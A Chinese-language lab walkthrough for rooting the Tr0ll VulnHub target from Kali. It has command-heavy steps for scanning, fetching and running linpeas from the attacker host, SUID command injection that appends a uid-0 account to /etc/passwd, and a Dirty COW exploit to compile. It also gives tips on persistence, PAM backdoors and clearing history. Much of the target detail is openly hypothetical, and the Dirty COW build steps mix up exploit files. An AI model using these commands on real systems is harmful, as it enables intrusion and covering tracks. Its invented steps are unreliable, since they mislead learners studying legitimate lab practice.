1. 项目概述与核心价值最近在安全圈子里Tr0ll这个靶机又小火了一把。它不像那些配置得严丝合缝的“现代”靶机反而有点“复古”和“调皮”里面藏着不少经典的、容易被新手忽略的提权路径。很多朋友在Kali Linux上做练习扫出了服务拿到了初始立足点但一到提权环节就卡壳面对五花八门的漏洞和线索不知从何下手。这其实很正常提权考验的不是单一漏洞的利用而是系统性的信息收集、线索关联和攻击路径规划能力。这篇内容我就以在Kali Linux上完整复现Tr0ll靶机提权过程为线带你走一遍从信息收集到最终拿到root权限的全流程。重点不只是复现而是拆解其中的思路为什么在这个环节要这样收集信息脏牛Dirty COW漏洞和SUID提权各自适用于什么场景当手头有多个潜在提权点时如何判断优先级并选择最稳妥的路径我会把踩过的坑、试错的过程以及最终成功的脚本实战都揉碎了讲清楚。无论你是刚开始接触渗透测试的新手还是想巩固一下Linux提权知识的老兵这篇“保姆级”的拆解应该都能给你带来一些实实在在的启发和可以直接“抄作业”的步骤。2. 环境准备与靶机部署2.1 Kali Linux攻击机配置要点工欲善其事必先利其器。虽然Kali Linux开箱即用但针对内网靶机渗透还是有几个细节需要提前处理好避免后续操作时出现网络不通、工具缺失的尴尬。首先确认网络模式。我强烈建议使用桥接模式或NAT网络下的同一虚拟网络。桥接模式会让你的Kali和靶机像物理网络中两台真实的电脑一样处于同一网段互访最直接。在VMware或VirtualBox中为Kali和将要部署的Tr0ll靶机都选择相同的网络模式比如都桥接到你的物理网卡或者都使用名为“VMnet8”的NAT网络。配置好后在Kali终端里用ip a或ifconfig命令查看获取到的IP地址记下来这是你攻击的起点。其次更新一下工具库。虽然Kali自带的工具很全但一些漏洞利用脚本可能不是最新版。执行sudo apt update sudo apt upgrade -y进行常规更新。针对本次复现我们可能用到的关键工具包括nmap端口扫描、searchsploit搜索漏洞利用代码、linpeas.shLinux本地提权枚举脚本、linux-exploit-suggester.sh提权漏洞建议脚本等。后两个脚本可以提前从GitHub下载备用。这里有个小技巧我习惯在/opt目录下创建一个tools文件夹专门存放这些从外部下载的脚本方便管理也避免污染系统目录。注意在真实授权测试中工具的下载和使用需严格遵守授权范围。在实验环境中也请仅对自有或明确授权的靶机进行操作。2.2 Tr0ll靶机获取与初始化Tr0ll靶机可以在 VulnHub 等知名漏洞平台找到。下载下来通常是一个.ova或.zip文件。如果是.ova文件直接导入你的虚拟机软件如VirtualBox即可它会自动配置好大部分设置。导入后同样需要检查并确保其网络设置与你的Kali攻击机处于同一网络模式。启动Tr0ll靶机。这个靶机启动后通常不会显示图形界面只是一个登录提示。我们不需要知道它的密码因为我们的目标就是通过外部渗透获取访问权限。所以让它在后台运行着就行。接下来我们需要发现它。在Kali上使用netdiscover或nmap进行主机发现。假设你的Kali IP是192.168.1.105那么可以扫描整个子网sudo netdiscover -r 192.168.1.0/24或者用nmapsudo nmap -sn 192.168.1.0/24扫描结果中你会看到一个非你Kali的IP地址那很可能就是Tr0ll靶机。记下这个IP例如192.168.1.120。至此攻击机和靶机都已就位战斗即将开始。3. 信息收集与漏洞初探3.1 端口扫描与服务识别拿到靶机IP后第一步就是进行全面的端口扫描摸清目标开放了哪些门端口门上挂着什么锁服务。这里不能只做快速扫描需要对所有端口进行细致探查。我使用Nmap的-p-参数扫描所有65535个端口并用-sV进行版本探测-sC运行默认脚本进行更深入的识别sudo nmap -sS -sV -sC -p- -T4 192.168.1.120 -oN nmap_full.txt-sS: SYN扫描一种相对隐蔽的扫描方式。-p-: 扫描所有端口。-T4: 指定扫描速度T4是较快且稳定的级别。-oN nmap_full.txt: 将标准输出保存到文件便于后续分析。扫描完成后查看nmap_full.txt文件。对于Tr0ll你可能会看到类似如下的关键结果PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))这表明靶机开放了FTP、SSH和HTTP服务。版本信息vsftpd 3.0.2, OpenSSH 6.6.1p1, Apache 2.4.7非常宝贵我们可以据此搜索已知的公开漏洞。3.2 Web应用分析与目录爆破HTTP服务通常是渗透测试的突破口。直接在浏览器访问http://192.168.1.120。Tr0ll的Web界面可能比较“简单”甚至有些“奇怪”这正是它的特点——线索可能藏在不起眼的地方。查看网页源代码是必须的快捷键CtrlU。留意注释、隐藏的表单、不起眼的链接或者一些看似无意义的字符串这些都可能是提示。接下来进行目录和文件枚举使用gobuster或dirb工具gobuster dir -u http://192.168.1.120 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js -t 50-u: 指定目标URL。-w: 指定字典文件Kali自带多种字典。-x: 指定尝试的文件扩展名。-t: 指定并发线程数。在扫描结果中你需要特别关注一些常见入口点如/admin,/backup,/uploads,/robots.txt以及像index.php.bak,config.php之类的备份或配置文件。对于Tr0ll你可能会发现一个特殊的目录或文件这往往是获取初始访问权限的关键。例如发现一个/secret目录里面有一个文本文件内容可能是一串疑似密码的字符串或者是一个提示。这个字符串很可能就是FTP或SSH的登录凭证。3.3 利用FTP服务获取初始立足点假设通过Web信息收集我们找到了一个疑似密码lol。尝试用这个密码登录FTP服务。在Kali终端使用ftp客户端ftp 192.168.1.120输入用户名可能是匿名用户anonymous或者常见的ftp和找到的密码lol。如果登录成功使用ls -la查看文件列表。Tr0ll的FTP服务器里可能存放着一个关键文件比如一个压缩包或一个脚本文件。使用get 文件名命令将其下载到本地。下载后在本地检查文件内容。例如如果是一个.zip文件使用unzip解压可能需要密码可以尝试用之前找到的密码lol或空密码。解压后你可能会得到一个文本文件里面包含另一组用户名和密码例如superuser:password123。这组凭证极有可能就是SSH服务的有效登录凭据。实操心得信息收集阶段一定要耐心和细致。Web目录爆破、源代码审查、服务版本搜索每一步都可能藏着钥匙。Tr0ll的设计就是引导你一步步发现线索串联线索。不要看到一个登录框就急着去爆破先看看周围有没有“提示”。4. 系统内部枚举与提权路径分析4.1 建立SSH连接与基础信息收集使用从FTP获取的凭证如superuser:password123通过SSH登录到靶机ssh superuser192.168.1.120输入密码成功登录后你就获得了一个低权限的shell。首先我们需要知道自己是谁以及有哪些基本权限whoami idid命令会显示用户IDuid、组IDgid以及所属的所有组。这能确认我们当前只是一个普通用户。接下来开始系统性的信息收集。手动收集一些关键信息系统信息uname -a内核版本cat /etc/issue或cat /etc/os-release发行版信息。运行进程ps aux或ps -ef查看以root身份运行的非系统常规进程。网络连接netstat -tulnp或ss -tulnp查看监听的端口和内部服务。计划任务crontab -l当前用户的ls -la /etc/cron*cat /etc/crontab寻找以root权限周期性执行的任务。SUID/SGID文件这是一个极其重要的提权向量。执行find / -type f -perm -4000 2/dev/null查找所有设置了SUID位的文件。SUID意味着文件在执行时会以文件所有者的权限运行。如果找到一个属于root但普通用户可执行的SUID文件并且这个文件功能上存在缺陷就可能被利用来提权。可写文件与目录find / -type f -writable 2/dev/null全局可写文件find / -type d -writable 2/dev/null全局可写目录。特别是系统路径下的可写文件如/etc/passwd,/etc/sudoers.d/目录等。环境变量env查看PATH等变量检查是否有当前用户可写的路径位于系统路径之前这可能导致命令劫持。4.2 使用自动化脚本进行深度枚举手动收集虽然全面但效率低且容易遗漏。这时就该自动化枚举脚本登场了。我推荐使用linpeas.sh。在攻击机Kali上启动一个HTTP服务来托管这个脚本python3 -m http.server 8000然后在靶机的SSH会话中下载并运行它cd /tmp wget http://192.168.1.105:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shlinpeas会运行很长时间进行极其全面的检查并用颜色高亮显示高危发现红色/黄色。它会自动检查我们上面手动做的所有事情并且更多比如内核漏洞利用建议。详细的sudo权限配置sudo -l。各种历史文件bash_history, mysql_history等。数据库凭证、配置文件泄露等。运行完毕后仔细阅读输出。对于Tr0lllinpeas的输出可能会高亮显示几个关键点一个不常见的、具有SUID权限的可执行文件比如/path/to/some/binary。内核版本较老可能包含“脏牛”Dirty COW漏洞。某些特定的、配置错误的sudo规则。4.3 提权路径对比与选择策略现在我们面前可能摆着多条潜在的提权路径。如何选择这需要基于成功率、复杂度和隐蔽性进行权衡。以本次可能发现的两种路径为例提权方法原理简述适用条件优点缺点/风险SUID滥用提权利用具有SUID位且属主为root的可执行文件通过其功能缺陷如命令注入、路径劫持来执行任意命令。1. 存在属主为root的SUID文件。2. 该文件允许用户以某种方式影响其执行流程如传递参数、加载库。1. 通常不需要编译 exploit。2. 成功率相对较高如果文件本身功能可利用。3. 对系统影响范围可能较小。1. 需要找到具体的利用方法可能需一定技巧。2. 某些SUID文件有严格的沙盒或过滤。脏牛 (CVE-2016-5195)利用Linux内核内存子系统在处理写时拷贝Copy-on-Write时的竞争条件漏洞将只读内存映射恶意改写从而提升权限。1. 内核版本在受影响范围内约 Linux kernel 2.6.22 4.8.3。2. 系统未打补丁。1. 通杀性强只要内核版本符合几乎100%成功。2. 有大量现成、稳定的 exploit 代码。1. 是内核漏洞利用过程可能导致系统不稳定甚至崩溃概率低但存在。2. 动静相对较大可能被某些安全监控记录。选择策略优先尝试SUID提权如果linpeas明确提示某个SUID文件存在已知的利用方式例如它直接给出了利用命令或者通过手动分析发现明显的命令注入点应优先尝试。因为它更直接通常更稳定。将脏牛作为备选方案如果SUID路径走不通或者内核版本明确在脏牛的受影响范围且linux-exploit-suggester脚本也推荐了它那么就编译运行脏牛的exploit。检查sudo权限永远不要忘记sudo -l命令。如果当前用户被配置了无需密码就能以root身份运行特定命令如vim,find,python那这就是最快捷的提权方式。在Tr0ll的场景下我们假设通过linpeas发现了一个奇怪的SUID文件同时内核版本也较老。我们将按照“先易后难”的原则先深入分析这个SUID文件。5. SUID提权实战与深度利用5.1 定位与分析可疑SUID文件根据linpeas的输出假设我们发现了一个不常见的SUID文件/usr/local/bin/suid_helper。首先收集关于这个文件的所有信息ls -la /usr/local/bin/suid_helper file /usr/local/bin/suid_helper strings /usr/local/bin/suid_helperls -la确认其权限为-rwsr-xr-x其中s代表SUID且属主是root。file命令查看文件类型比如是ELF可执行文件还是脚本。strings命令可以提取文件中的可打印字符串有时能发现调用的系统命令、库路径或硬编码的字符串这是分析其功能的关键。如果strings的输出中发现了像system,popen,exec这样的函数调用或者直接看到了/bin/sh,/bin/bash等命令字符串那它很可能通过某种方式调用了系统命令。接下来尝试不带参数和带一些简单参数运行它观察其行为/usr/local/bin/suid_helper /usr/local/bin/suid_helper --help /usr/local/bin/suid_helper test观察程序的输出是打印了用法还是执行了某个操作如果它接受输入参数并且这个参数被直接传递到了system()之类的函数里就可能存在命令注入。5.2 利用命令注入实现提权假设我们运行strings suid_helper后发现了一行代码片段显示它可能执行cat [用户输入]这样的命令。并且通过测试发现执行suid_helper /etc/passwd确实能打印出/etc/passwd的内容。这强烈暗示存在命令注入。为了验证我们可以尝试注入一个分号;来分隔命令/usr/local/bin/suid_helper /etc/passwd; whoami如果程序输出完/etc/passwd的内容后紧接着输出了root那么恭喜命令注入成功了因为SUID权限whoami命令是以root身份执行的。现在我们可以利用这个注入点来获取一个root shell。有多种方法直接启动bash/usr/local/bin/suid_helper /etc/passwd; /bin/bash。执行后输入id确认是否已是root。添加一个具有root权限的新用户这通常更隐蔽适合需要持久化访问的场景。我们可以通过向/etc/passwd文件追加一个用户来实现。首先生成一个密码哈希。使用openssl生成一个密码为newroot的哈希openssl passwd -1 -salt xyz newroot会得到类似$1$xyz$U1gY5c7M8eL2wA.R6bNCk.的字符串。然后构造注入命令/usr/local/bin/suid_helper /etc/passwd; echo newroot:\$1\$xyz\$U1gY5c7M8eL2wA.R6bNCk.:0:0:root:/root:/bin/bash /etc/passwd重要提示在命令行中传递包含$的字符串时需要对$进行转义在前面加反斜杠\否则shell会将其解释为变量。上面命令中的\$1\$xyz\$...就是转义后的。执行成功后就可以用su newroot并输入密码newroot切换到root用户了。5.3 SUID提权后的巩固与清理成功获取root权限后第一件事是巩固访问。查看/etc/ssh/sshd_config确保允许root登录PermitRootLogin yes或者更稳妥地将你的SSH公钥添加到/root/.ssh/authorized_keys中实现免密登录。第二件事是信息收集。作为root可以查看所有用户的历史命令、日志文件、其他用户的文件等全面了解系统。检查/root目录下的文件通常会有flag或最终证明。第三件事在授权测试中是清理痕迹。虽然实验环境不重要但好习惯需要养成。清理bash历史记录history -c rm ~/.bash_history清理可能留下的临时文件或利用脚本。如果添加了后门用户在测试结束后记得从/etc/passwd中删除。注意事项SUID提权的关键在于找到那个“有问题”的SUID文件。不是所有SUID文件都可利用。常见的可利用SUID程序包括find,vim,bash(某些旧版本),more,less,nmap(交互模式),cp,mv等如果它们被错误地设置了SUID位。在真实环境中遇到自定义的SUID程序就需要像上面那样进行逆向或行为分析。6. 脏牛Dirty COW内核提权备选方案6.1 漏洞原理与影响范围验证如果SUID路径走不通我们就需要启动备选方案——脏牛漏洞。首先确认漏洞存在的条件。在靶机上运行uname -a查看内核版本。脏牛影响 Linux kernel 2.6.22 且 4.8.3 的广泛版本。假设Tr0ll的内核版本是3.13.0-xxx正在影响范围内。为了更保险可以使用linux-exploit-suggester.sh脚本进行验证。在Kali上开启HTTP服务后在靶机下载并运行cd /tmp wget http://192.168.1.105:8000/linux-exploit-suggester.sh chmod x linux-exploit-suggester.sh ./linux-exploit-suggester.sh这个脚本会根据当前系统的内核版本、发行版等信息推荐可能适用的本地提权漏洞利用代码。它很可能会高亮提示CVE-2016-5195脏牛。6.2 Exploit的获取、编译与执行在Kali上我们可以从 exploit-db 或 GitHub 搜索脏牛的 exploit 代码。一个经典且稳定的版本是dirty.c。我们可以直接使用searchsploit工具查找并复制searchsploit dirty cow # 找到对应的本地路径例如 /usr/share/exploitdb/exploits/linux/local/40847.cpp cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp/dirty.c然后在Kali上开启HTTP服务将这个dirty.c文件提供给靶机。在靶机上下载cd /tmp wget http://192.168.1.105:8000/dirty.c接下来在靶机上编译它。脏牛的 exploit 通常用gcc编译gcc -pthread dirty.c -o dirty -lcrypt-pthread: 因为 exploit 使用了多线程来制造竞争条件。-lcrypt: 链接 crypt 库用于生成密码哈希。编译成功后会生成一个名为dirty的可执行文件。运行它./dirty运行后exploit 会开始工作。它通常会做以下几件事在内存中利用竞争条件修改/etc/passwd文件的一个映射。将 root 用户的密码替换为一个已知的哈希或者创建一个新的特权用户。完成后会提示你一个新的用户名和密码例如firefart:newpassword。6.3 利用成功与后续操作根据 exploit 的输出使用它提供的用户名和密码进行切换su firefart输入密码后执行id或whoami确认已经获得 root 权限。实操心得脏牛 exploit 在运行过程中可能会让系统负载暂时升高并且可能会打印大量日志。这是正常现象。如果一次运行没有成功没有给出新密码可以多尝试几次因为竞争条件漏洞的利用存在一定的概率性。另外不同的脏牛 exploit 版本如dirty.c,cowroot.c可能用法略有不同有的需要指定密码有的会自动创建用户阅读源码开头的注释很重要。获得 root 权限后同样进行巩固访问、收集信息和清理痕迹的操作步骤与 SUID 提权后类似。记得查看/root目录下的proof.txt或flag.txt文件这是完成靶机的标志。7. 问题排查与深度技巧实录7.1 常见问题与解决方案速查在实际复现过程中你可能会遇到以下问题问题现象可能原因排查步骤与解决方案Nmap扫描不到靶机1. 网络模式不一致。2. 靶机防火墙开启。3. IP地址段判断错误。1. 检查Kali和靶机虚拟机网络设置同为NAT或桥接。2. 在靶机如果已知或虚拟网络设置中暂时禁用防火墙实验环境。3. 使用ip a确认Kali IP并扫描正确的子网如192.168.1.0/24。找到的密码无法登录FTP/SSH1. 密码错误或用户名不对。2. 服务限制了登录如SSH的AllowUsers。3. 密码需要特定格式或编码。1. 尝试常见用户名组合admin,root,user,ftp,anonymous等。2. 检查Web源码或枚举出的文件寻找更多提示。3. 对找到的字符串进行简单编码base64, rot13后重试。SUID文件无法利用1. 文件有过滤或输入检查。2. 命令注入字符被转义。3. 程序功能本身不易被利用。1. 用strace /path/to/suid_file跟踪系统调用看如何处理输入。2. 尝试多种注入方式反引号、$()、脏牛Exploit编译失败1. 缺少编译依赖。2. exploit代码与系统环境不兼容。1. 尝试安装gcc和makeapt install gcc make -y。2. 在Kali上交叉编译gcc -m32 -pthread dirty.c -o dirty -lcrypt针对32位靶机然后传过去。3. 搜索其他版本的脏牛exploit如用Python写的尝试。Exploit运行后未提权1. 系统已打补丁。2. 竞争条件未触发成功。3. 特定环境不兼容。1. 用uname -a和linux-exploit-suggester双重确认漏洞存在。2. 多次运行exploit3-5次。3. 尝试另一个知名且稳定的脏牛exploit版本。获得shell后很快断开1. 反向shell连接不稳定。2. 靶机有网络超时设置。1. 使用更稳定的反向shell方式如mkfifonc或python的 pty 升级。2. 在获取的shell中尽快升级为交互式完整TTYpython -c import pty; pty.spawn(/bin/bash)或script /dev/null -c bash。7.2 高阶技巧与思维延伸信息收集的自动化与定制化linpeas很棒但有时需要更隐蔽或更针对性的枚举。可以自己编写简单的脚本只收集关键信息减少流量和日志。例如一个快速检查SUID和sudo权限的脚本#!/bin/bash echo [*] SUID Files: find / -type f -perm -4000 2/dev/null | xargs ls -la echo -e \n[*] Sudo permissions for current user: sudo -l 2/dev/null echo -e \n[*] World-writable directories: find / -type d -perm -0002 -a ! -perm -1000 2/dev/null利用路径劫持PATH Hijacking如果SUID程序调用了另一个没有写绝对路径的命令例如system(“ls”)而不是system(“/bin/ls”)并且当前用户对某个位于PATH环境变量前列的目录有写权限就可以在其中创建一个名为ls的恶意可执行文件当SUID程序运行时就会执行我们的恶意文件。通过echo $PATH查看路径顺序寻找可写目录。内核提权后的隐蔽持久化除了添加SSH密钥还可以安装一个内核级rootkit仅用于学习理解防御手段。或者修改系统的PAM可插拔认证模块配置创建一个万能密码。这些操作更深但痕迹也更多仅在完全可控的实验环境中尝试。从Tr0ll到其他靶机/真实环境的思维迁移Tr0ll是一个“引导式”靶机。真实环境不会这么明显。核心思路不变全面的信息收集 - 关联线索形成攻击链 - 优先尝试低风险、高成功率的向量配置错误、弱凭证、已知漏洞- 备选高风险、高影响方案内核漏洞。永远保持好奇心对任何异常的文件、权限、进程、任务都要追问一句“为什么它可以这样”。整个流程走下来你会发现提权不是靠运气而是靠系统性的枚举、分析和推理。Tr0ll靶机就像一位严厉的老师把多个经典提权场景塞进一个系统里逼着你去实践每一种方法。在Kali Linux这个强大的平台上将这些方法逐一验证、对比、理解你的内网渗透和权限提升能力自然会扎实地迈进一大步。下次遇到一个陌生的Linux系统你脑子里会自然而然地浮现出这套枚举和利用的“检查清单”这才是练习的真正目的。